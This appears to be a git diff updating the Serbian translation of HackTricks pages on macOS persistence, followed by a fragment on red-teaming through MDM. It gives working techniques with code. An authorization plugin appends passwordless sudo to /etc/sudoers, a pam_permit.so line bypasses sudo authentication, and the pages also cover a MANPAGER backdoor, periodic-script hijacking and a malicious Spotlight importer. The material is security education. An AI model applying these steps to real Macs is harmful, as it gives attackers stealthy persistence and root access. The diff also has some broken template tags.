3. Korišćenje OSAScript-a za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle.
|
||||
* Ovaj metod je posebno koristan za ugradnju akcije u sistem, nudeći nivo postojanosti.
|
||||
|
||||
|
@ -820,13 +818,13 @@ Sada, ako otvorite taj folder sa **Finder**-om, vaš skript će biti izvršen.
|
|||
|
||||
Ova konfiguracija je sačuvana u **plist** fajlu smeštenom u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu.
|
||||
|
||||
Sada, hajde da pokušamo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
||||
Sada, pokušajmo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
||||
|
||||
1. **Kopirajte `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u `/tmp` da biste napravili rezervnu kopiju:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Uklonite** Folder Actions koje ste upravo postavili:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sada kada imamo prazno okruženje
|
||||
|
||||
|
@ -852,7 +850,7 @@ Tekst: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Sve aplikacije koje se pojave u Dock-u su navedene unutar plist-a: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
Sve aplikacije koje se pojave u Dock-u su navedene unutar plist fajla: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
Moguće je **dodati aplikaciju** samo sa:
|
||||
|
||||
|
@ -1000,9 +998,9 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Napravite novi projekat u Xcode-u i izaberite šablon za generisanje novog **Screen Saver**-a. Zatim, dodajte svoj kod u njega, na primer sledeći kod za generisanje logova.
|
||||
Napravite novi projekat u Xcode-u i izaberite šablon za generisanje novog **Screen Saver**-a. Zatim, dodajte kod u njega, na primer sledeći kod za generisanje logova.
|
||||
|
||||
**Izgradite** ga, i kopirajte `.saver` paket u **`~/Library/Screen Savers`**. Zatim otvorite GUI Screen Saver-a i ako samo kliknete na njega, trebalo bi da generiše mnogo logova:
|
||||
**Izgradite** ga, i kopirajte `.saver` paket u **`~/Library/Screen Savers`**. Zatim, otvorite GUI Screen Saver i ako samo kliknete na njega, trebalo bi da generiše puno logova:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1016,7 +1014,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da zato što se unutar dozvola binarnog koda koji učitava ovaj kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) može pronaći **`com.apple.security.app-sandbox`** bićete **unutar zajedničkog aplikacionog peska**.
|
||||
Imajte na umu da zato što se unutar dozvola binarnog koda koji učitava ovaj kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) možete pronaći **`com.apple.security.app-sandbox`** bićete **unutar zajedničkog aplikacionog peska**.
|
||||
{% endhint %}
|
||||
|
||||
Kod čuvara ekrana:
|
||||
|
@ -1110,12 +1108,12 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Spotlight je ugrađena pretraga macOS-a, dizajnirana da korisnicima pruži **brz i sveobuhvatan pristup podacima na njihovim računarima**.\
|
||||
Da bi olakšala ovu brzu mogućnost pretrage, Spotlight održava **vlasitu bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz imena fajlova tako i kroz njihov sadržaj.
|
||||
Spotlight je ugrađena funkcija pretrage macOS-a, dizajnirana da korisnicima pruži **brz i sveobuhvatan pristup podacima na njihovim računarima**.\
|
||||
Da bi olakšao ovu brzu mogućnost pretrage, Spotlight održava **svoju bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz imena fajlova tako i kroz njihov sadržaj.
|
||||
|
||||
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu Spotlight uslugu. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite održavajuće zadatke, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su omogućeni putem dodataka za uvoz Spotlight-a, ili **".mdimporter paketi**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova.
|
||||
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu uslugu Spotlight-a. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su mogući putem dodataka za uvoz Spotlight-a, ili **".mdimporter paketi**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova.
|
||||
|
||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nema potrebe za restartovanjem bilo koje usluge). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koji servis). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||
|
||||
Moguće je **pronaći sve `mdimportere`** koji su učitani pokretanjem:
|
||||
```bash
|
||||
|
@ -1126,7 +1124,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
I na primer **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` između ostalih):
|
||||
Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` između ostalih):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1163,7 +1161,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTypeConformsTo`**. To je zato što je to ugrađeni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type_Identifier)) i ne mora da specificira ekstenzije.
|
||||
Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTypeConformsTo`**. To je zato što je to ugrađeni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) i ne mora da specificira ekstenzije.
|
||||
|
||||
Štaviše, sistemski podrazumevani dodaci uvek imaju prednost, tako da napadač može pristupiti samo datotekama koje nisu indeksirane od strane Apple-ovih `mdimporters`-a.
|
||||
{% endhint %}
|
||||
|
@ -1171,9 +1169,9 @@ Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTyp
|
|||
Za kreiranje sopstvenog uvoznika možete početi sa ovim projektom: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) a zatim promeniti ime, **`CFBundleDocumentTypes`** i dodati **`UTImportedTypeDeclarations`** kako bi podržao ekstenziju koju želite da podržite i odraziti ih u **`schema.xml`**.\
|
||||
Zatim **promenite** kod funkcije **`GetMetadataForFile`** da izvrši vaš payload kada se kreira datoteka sa obrađenom ekstenzijom.
|
||||
|
||||
Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti da li je učitan **prateći logove** ili proverom **`mdimport -L.`**
|
||||
Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti kada se učita **prateći logove** ili proverom **`mdimport -L.`**
|
||||
|
||||
### ~~Panele postavki~~
|
||||
### ~~Preference Pane~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ne izgleda da ovo više radi.
|
||||
|
@ -1195,7 +1193,7 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
|
||||
Ne izgleda da ovo više radi.
|
||||
|
||||
## Bypass peska sa root privilegijama
|
||||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći početne lokacije korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto **upisivanjem u datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.**
|
||||
|
@ -1220,9 +1218,7 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno eskalaciju privilegija.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno preuzimanje privilegija.
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1253,25 +1249,25 @@ total 24
|
|||
total 8
|
||||
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Postoje i drugi periodični skriptovi koji će biti izvršeni, kako je naznačeno u **`/etc/defaults/periodic.conf`**:
|
||||
Postoje i drugi periodični skriptovi koji će biti izvršeni, naznačeni u **`/etc/defaults/periodic.conf`**:
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
daily_local="/etc/daily.local" # Local scripts
|
||||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
### Automatsko pokretanje lokacija na macOS-u
|
||||
|
||||
Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local`, **biće izvršen ranije ili kasnije**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Imajte na umu da će periodični skript biti **izvršen kao vlasnik skripte**. Dakle, ako običan korisnik poseduje skriptu, biće izvršena kao taj korisnik (ovo može sprečiti napade eskalacije privilegija).
|
||||
Imajte na umu da će periodični skript biti **izvršen kao vlasnik skripte**. Dakle, ako obični korisnik poseduje skriptu, biće izvršena kao taj korisnik (ovo može sprečiti napade eskalacije privilegija).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
||||
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
Objašnjenje: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali morate biti root
|
||||
|
@ -1283,17 +1279,19 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Pošto je PAM više fokusiran na **upornost** i malver nego na lako izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte writeup-ove da biste bolje razumeli ovu tehniku**.
|
||||
Pošto je PAM više fokusiran na **upornost** i malver nego na jednostavno izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte objašnjenja da biste bolje razumeli ovu tehniku**.
|
||||
|
||||
Proverite PAM module sa:
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
### Zloupotreba PAM-a za postojanost/escalaciju privilegija je jednostavna kao modifikacija modula /etc/pam.d/sudo dodavanjem linije na početak:
|
||||
### Dodavanje zlonamernog modula PAM-a za održavanje postojanosti/escalaciju privilegija
|
||||
|
||||
Jedna od tehnika održavanja postojanosti/escalacije privilegija koja zloupotrebljava PAM je jednostavna kao modifikacija modula /etc/pam.d/sudo dodavanjem linije na početku:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
Tako će **izgledati** nešto poput ovoga:
|
||||
Dakle, to će **izgledati** nešto ovako:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1327,7 +1325,7 @@ Analiza: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, proverite prethodne analize (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac u režimu oporavka).
|
||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodne analize (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1342,7 +1340,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**Pomerite** paket na lokaciju sa koje će se učitati:
|
||||
**Pomerite** paket na lokaciju koja će se učitati:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1365,7 +1363,7 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga učiniti izvršnim od strane root korisnika.
|
||||
**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga izvršiti kao root.
|
||||
|
||||
Pokrenite ga sa:
|
||||
```bash
|
||||
|
@ -1387,13 +1385,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja fajlova sa man dokumentacijom. Dakle, putanja do izvršne datoteke može biti izmenjena tako da se svaki put kada korisnik koristi man za čitanje nekih dokumenata, izvrši zadnja vrata.
|
||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja man dokumentacionih fajlova. Dakle, putanja do izvršne datoteke može biti promenjena tako da svaki put kada korisnik koristi man za čitanje nekih dokumenata, izvrši se zadnja vrata.
|
||||
|
||||
Na primer, postavite u **`/private/etc/man.conf`**:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
I zatim kreirajte `/tmp/view` kao:
|
||||
I zatim kreiraj `/tmp/view` kao:
|
||||
```bash
|
||||
#!/bin/zsh
|
||||
|
||||
|
@ -1408,7 +1406,7 @@ touch /tmp/manconf
|
|||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali morate biti root i apache mora biti pokrenut
|
||||
* TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Httpd nema dozvole
|
||||
* Httpd nema ovlašćenja
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -1424,7 +1422,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili morate **potpisati s važećim Apple sertifikatom**, ili morate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** s njim.
|
||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili trebate **potpisati ga važećim Apple sertifikatom**, ili trebate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
||||
|
||||
Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti:
|
||||
```bash
|
||||
|
@ -1495,20 +1493,18 @@ Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno sm
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
### Lokacije automatskog pokretanja na macOS-u
|
||||
|
||||
Na macOS-u, postoji nekoliko lokacija gde se aplikacije mogu postaviti da se automatski pokreću prilikom pokretanja sistema. Ove lokacije uključuju:
|
||||
|
||||
1. **Login Items**: Ovo se nalazi u System Preferences > Users & Groups > Login Items. Korisnik može dodati aplikacije koje želi da se automatski pokreću prilikom prijavljivanja.
|
||||
|
||||
2. **Launch Agents i Launch Daemons**: Ove lokacije se nalaze u `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents`. Aplikacije smeštene u ovim folderima će se automatski pokrenuti prilikom pokretanja sistema ili prijavljivanja korisnika.
|
||||
2. **Launch Agents i Launch Daemons**: Ove lokacije se nalaze u `/Library/LaunchAgents`, `/Library/LaunchDaemons`, `~/Library/LaunchAgents`. Aplikacije smeštene u ovim folderima se pokreću prilikom pokretanja sistema ili prijavljivanja korisnika.
|
||||
|
||||
3. **Startup Items**: Ovo je zastarela funkcionalnost, ali se može pronaći u `/Library/StartupItems`. Aplikacije smeštene ovde će se pokrenuti prilikom pokretanja sistema.
|
||||
|
||||
Provera i upravljanje aplikacijama koje se automatski pokreću može pomoći u poboljšanju bezbednosti i performansi sistema.
|
||||
3. **Startup Items**: Ovo je zastarela metoda automatskog pokretanja aplikacija i smeštena je u `/Library/StartupItems`. Preporučuje se korišćenje modernijih metoda poput Login Items ili Launch Agents/Daemons.
|
||||
|
||||
Provera i upravljanje aplikacijama koje se automatski pokreću može pomoći u poboljšanju bezbednosti i performansi sistema.
|
||||
{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
@ -1528,18 +1524,15 @@ echo "Restarting"
|
|||
|
||||
RunService "$1"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ne mogu da pronađem ovu komponentu na mom macOS-u, pa za više informacija pogledajte writeup
|
||||
{% endhint %}
|
||||
{% endhint}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Uveden od strane Apple-a, **emond** je mehanizam za beleženje koji deluje nedovoljno razvijeno ili možda napušteno, ali ostaje pristupačno. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||
Uveden od strane Apple-a, **emond** je mehanizam za beleženje koji deluje nedovoljno razvijeno ili možda napušteno, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||
|
||||
Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršenje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
|
||||
```bash
|
||||
|
@ -1557,7 +1550,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
XQuartz više **nije instaliran u macOS-u**, pa ako želite više informacija pogledajte writeup.
|
||||
XQuartz **više nije instaliran u macOS-u**, pa ako želite više informacija pogledajte writeup.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
|
@ -1574,7 +1567,7 @@ Da biste instalirali KEXT kao stavku za pokretanje, potrebno je da bude **instal
|
|||
* `/Library/Extensions`
|
||||
* KEXT fajlovi instalirani od strane softvera trećih strana
|
||||
|
||||
Možete prikazati trenutno učitane kext fajlove sa:
|
||||
Trenutno učitane kext fajlove možete listati sa:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1586,7 +1579,7 @@ Za više informacija o [**kernel ekstenzijama pogledajte ovu sekciju**](macos-se
|
|||
|
||||
### ~~amstoold~~
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -1595,13 +1588,13 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je bio što binarni fajl nije postojao, pa ste mogli postaviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan.
|
||||
Navodno je `plist` fajl sa lokacije `/System/Library/LaunchAgents/com.apple.amstoold.plist` koristio ovaj binarni fajl dok je izlagao XPC servis... problem je što binarni fajl nije postojao, pa ste mogli postaviti nešto tamo i kada se XPC servis pozove, vaš binarni fajl će biti pozvan.
|
||||
|
||||
Ne mogu više pronaći ovo na mom macOS-u.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -1611,7 +1604,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevi
|
|||
|
||||
#### Opis & eksploatacija
|
||||
|
||||
Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na mom macOS-u, pa ako želite više informacija pogledajte objašnjenje.
|
||||
Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na mom macOS-u, pa ako želite više informacija pogledajte analizu.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
|
@ -1716,3 +1709,17 @@ esac
|
|||
|
||||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
@ -19,9 +19,9 @@ Drugi načini podrške HackTricks-u:
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Ako uspete da **kompromitujete administratorske akreditive** kako biste pristupili upravljačkoj platformi, možete **potencijalno kompromitovati sve računare** distribuiranjem malvera na mašinama.
|
||||
Ako uspete da **kompromitujete admin kredencijale** kako biste pristupili platformi za upravljanje, možete **potencijalno kompromitovati sve računare** distribuiranjem malvera na mašinama.
|
||||
|
||||
Za red timovanje u macOS okruženjima, veoma je preporučljivo da imate neko razumevanje o tome kako MDM-ovi funkcionišu:
|
||||
Za crveno timovanje u MacOS okruženjima, veoma je preporučljivo imati razumevanje kako MDM-ovi funkcionišu:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -29,40 +29,40 @@ Za red timovanje u macOS okruženjima, veoma je preporučljivo da imate neko raz
|
|||
|
||||
### Korišćenje MDM-a kao C2
|
||||
|
||||
MDM će imati dozvolu da instalira, upita ili ukloni profile, instalira aplikacije, kreira lokalne administratorske naloge, postavi lozinku za firmware, promeni FileVault ključ...
|
||||
MDM će imati dozvolu da instalira, upita ili ukloni profile, instalira aplikacije, kreira lokalne admin naloge, postavi firmware šifru, promeni FileVault ključ...
|
||||
|
||||
Da biste pokrenuli sopstveni MDM, potrebno je da **vaš CSR bude potpisan od strane prodavca** koji možete pokušati da dobijete sa [**https://mdmcert.download/**](https://mdmcert.download/). A da biste pokrenuli sopstveni MDM za Apple uređaje, možete koristiti [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
Da biste pokrenuli svoj MDM, potrebno je da **vaš CSR bude potpisan od strane prodavca** što možete pokušati da dobijete sa [**https://mdmcert.download/**](https://mdmcert.download/). I da biste pokrenuli svoj MDM za Apple uređaje, možete koristiti [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
Međutim, da biste instalirali aplikaciju na prijavljenom uređaju, i dalje vam je potrebno da bude potpisana od strane developerskog naloga... međutim, prilikom prijavljivanja na MDM, **uređaj dodaje SSL sertifikat MDM-a kao pouzdanog CA**, tako da sada možete potpisati bilo šta.
|
||||
